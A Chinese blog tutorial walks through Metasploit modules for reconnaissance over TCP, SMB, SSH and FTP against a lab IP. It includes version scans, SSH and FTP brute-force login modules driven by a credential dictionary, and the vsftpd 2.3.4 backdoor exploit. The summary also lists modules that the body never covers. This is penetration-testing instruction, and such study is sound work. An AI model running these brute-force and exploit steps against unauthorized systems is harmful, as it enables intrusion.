Metasploit是一款功能强大、广泛应用的渗透测试框架,它提供了大量的辅助模块,可以帮助我们基于不同的网络协议,进行信息收集、漏洞扫描、密码嗅探、漏洞利用等操作。本文将介绍如何使用Metasploit框架中的不同模块,基于TCP、SMB、SSH、FTP等协议,进行信息收集。
基于tcp
TCP协议是一种面向连接的、可靠的、基于字节流的传输层通信协议,它是互联网上最常用的协议之一。通过TCP协议,我们可以收集目标主机的IP地址、服务端口、操作系统类型和版本等信息。
使用nmap端口扫描
nmap是一款功能强大、广泛应用的端口扫描工具,它可以快速地扫描目标主机开放的服务端口,并识别服务类型和版本。Metasploit框架中也集成了nmap工具,我们可以直接在Metasploit中使用nmap模块进行端口扫描。
使用nmap端口扫描
nmap -sV 192.168.1.1 #可以扫描到开放的端口
基于SMB协议扫描系统版本
先搜索模块
search smb_version
加载到模块
use auxiliary/scanner/smb/smb_version
查看需要的配置
show options
配置如下
Module options (auxiliary/scanner/smb/smb_version):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
THREADS 1 yes The number of concurrent threads (max one per host)
一个是目标ip,一个是线程,线程默认有,所以直接配置ip
set RHOSTS 192.168.1.1
然后直接run
基于SSH协议扫描端口
SSH协议是一种安全的远程登录协议,它可以在不安全的网络环境中,为两台计算机之间提供加密和认证的通信服务。通过SSH协议,我们可以收集目标主机的SSH服务版本、用户名和密码等信息。
一样的搜索,加载,查看配置
search ssh_version #关于ssh版本号的模块
use auxiliary/scanner/ssh/ssh_version
show options
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 22 yes The target port (TCP)
THREADS 1 yes The number of concurrent threads (max one per host)
TIMEOUT 30 yes Timeout for the SSH probe
看样子只有设置目标ip
set RHOSTS 192.168.1.1
直接run,结果就是
msf6 auxiliary(scanner/ssh/ssh_version) > run
[+] 192.168.1.1:22 - SSH server version: SSH-2.0-OpenSSH_7.4 ( service.version=7.4 service.vendor=OpenBSD service.family=OpenSSH service.product=OpenSSH service.cpe23=cpe:/a:openbsd:openssh:7.4 service.protocol=ssh fingerprint_db=ssh.banner )
[*] 192.168.1.1:22 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
其中有用的信息大概有
SSH server version: SSH-2.0-OpenSSH_7.4 (
service.version=7.4
service.vendor=OpenBSD
service.family=OpenSSH
service.product=OpenSSH
service.cpe23=cpe:/a:openbsd:openssh:7.4
service.protocol=ssh
fingerprint_db=ssh.banner
)
试一试对目标进行爆破
一样的步骤,先back退出原来的扫描模块
search ssh_login
use auxiliary/scanner/ssh/ssh_login
show options
配置参数
set RHOSTS 192.168.1.1 #设置靶机ip
set USERPASS_FILE /root/user.txt #设置字典
set VERBOSE true #开启运行的详细信息
如果跑出来了可以看看连接
sessions # 查看连接
sessions -i i # 连接
基于FTP协议信息
还是先扫描目标的版本信息,配置信息
search ftp_version
use auxiliary/scanner/ftp/ftp_version
show options
set RHOSTS 192.168.1.1 # 设置目标
run #执行
然后扫出来的信息
220
---------- Welcome to Pure-FTPd [privsep] [TLS] ----------
-You are user number 1 of 50 allowed.
-Local time is now 22:24. Server port: 21.
-This is a private system - No anonymous login
-IPv6 connections are also welcome on this server.
You will be disconnected after 15 minutes of inactivity.
就是扫描失败了,如果他的版本号是2.3.4那么就可以进入下一步
对目标渗透
search vsftpd
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.1.1 # 设置目标
run # 开跑
当然我这个没有跑成功,你们跑成功就可以直接连接
匿名登录扫描
直接搜索匿名ftp的模块,加载和配置,直接上代码
search name:anonymous # 名字中有匿名的,发现只有3给模块,一个ftp的
use auxiliary/scanner/ftp/anonymous
set RHOSTS 192.168.1.1
run
有加号就代表可以,反之就不可以
FTP暴力破解
直接上代码
search ftp_login
use auxiliary/scanner/ftp/ftp_login
set RHOSTS 192.168.1.1
set USERPASS_FILE /root/user.txt
总结
通过本文,我们了解了如何使用Metasploit框架中的不同模块,基于TCP、SMB、SSH、FTP等协议,进行信息收集。我们学习了如何使用nmap、psnuffle、smb_version、smb_lookupsid、ssh_version、ssh_login、ftp_version、ftp_login等模块,收集目标主机的IP地址、服务端口、操作系统类型和版本、用户名和密码、系统版本、用户信息、共享文件等信息。这些信息可以帮助我们进行进一步的渗透测试或攻击。
Metasploit框架是一款功能强大、广泛应用的渗透测试框架,它提供了大量的辅助模块和漏洞利用模块,可以帮助我们进行各种网络安全相关的操作。本文只是对Metasploit框架中的一部分模块进行了介绍,还有更多的模块等待我们去探索和学习。如果你对网络安全感兴趣,欢迎继续阅读幻鹤博客的其他文章,并给我留言反馈。
评论 (0)